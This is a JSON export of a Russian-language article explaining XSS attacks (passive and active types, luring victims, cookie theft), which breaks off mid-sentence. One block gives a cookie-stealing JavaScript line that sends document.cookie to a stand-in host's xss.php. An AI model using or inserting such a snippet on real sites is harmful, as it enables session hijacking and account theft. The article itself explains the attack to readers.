{"draftJsState":{"blocks":[{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Что такое XSS и как от него защитится все уже давно знают, поэтому буду краток. XSS это возможность злоумышленника определенным образом (ссылку на возможные варианты смотрите в конце статьи) интегрировать в страницу сайта-жертвы скрипт, который будет выполнен при ее посещении.","type":"unstyled","key":"6bl1o"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Интересно, что в большинстве случаев, где описывается данная уязвимость, нас пугают следующим кодом:","type":"unstyled","key":"e2v5h"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":63,"offset":0,"style":"ITALIC"}],"text":"http://www.site.com/page.php?var=","type":"blockquote","key":"1v9p1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Как-то не очень страшно :) Чем же действительно может быть опасной данная уязвимость?","type":"unstyled","key":"fau3q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Пассивная и активная","type":"header-three","key":"7m41j"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Существует два типа XSS уязвимостей — пассивная и активная.","type":"unstyled","key":"1qc27"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":19,"offset":0,"style":"ITALIC"}],"text":"Активная уязвимость более опасна, поскольку злоумышленнику нет необходимости заманивать жертву по специальной ссылке, ему достаточно внедрить код в базу или какой-нибудь файл на сервере. Таким образом, все посетители сайта автоматически становятся жертвами. Он может быть интегрирован, например, с помощью внедрения SQL-кода (SQL Injection). Поэтому, не стоит доверять данным, хранящимся в БД, даже если при вставке они были обработаны.","type":"unstyled","key":"e3osv"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":20,"offset":7,"style":"ITALIC"}],"text":"Пример пассивной уязвимости можно посмотреть в самом начале статьи. Тут уже нужна социальная инженерия, например, важное письмо от администрации сайта с просьбой проверить настройки своего аккаунта, после восстановления с бэкапа. Соответственно, нужно знать адрес жертвы или просто устроить спам-рассылку или разместить пост на каком-нибудь форуме, да еще и не факт что жертвы окажутся наивными и перейдут по вашей ссылке.","type":"unstyled","key":"b2j4q"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Причем пассивной уязвимости могут быть подвержены как POST так и GET-параметры. С POST-параметрами, понятно, придется идти на ухищрения. Например, переадресация с сайта злоумышленника.","type":"unstyled","key":"9s4v1"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":230,"offset":0,"style":"ITALIC"}],"text":" ","type":"blockquote","key":"ffig3"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Следовательно, GET-уязвимость чуть более опасна, т.к. жертве легче заметить неправильный домен, чем дополнительный параметр (хотя url можно вообще закодировать).","type":"unstyled","key":"2750a"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Кража Cookies","type":"header-three","key":"1nnmh"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Это наиболее часто приводимый пример XSS-атаки. В Cookies сайты иногда хранят какую-нибудь ценную информацию (иногда даже логин и пароль (или его хэш) пользователя), но самой опасной является кража активной сессии, поэтому не забываем нажимать ссылку «Выход» на сайтах, даже если это домашний компьютер. К счастью, на большинстве ресурсов время жизни сессии ограничено.","type":"unstyled","key":"cse7p"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[{"length":74,"offset":0,"style":"ITALIC"}],"text":"var іmg = new Image(); іmg.srс = 'http://site/xss.php?' + document.cookie;","type":"blockquote","key":"5e1ft"},{"data":{},"depth":0,"entityRanges":[],"inlineStyleRanges":[],"text":"Поэтому и ввели доменные ограничения на XMLHttpRequest, но злоумышленнику это не страшно, поскольку есть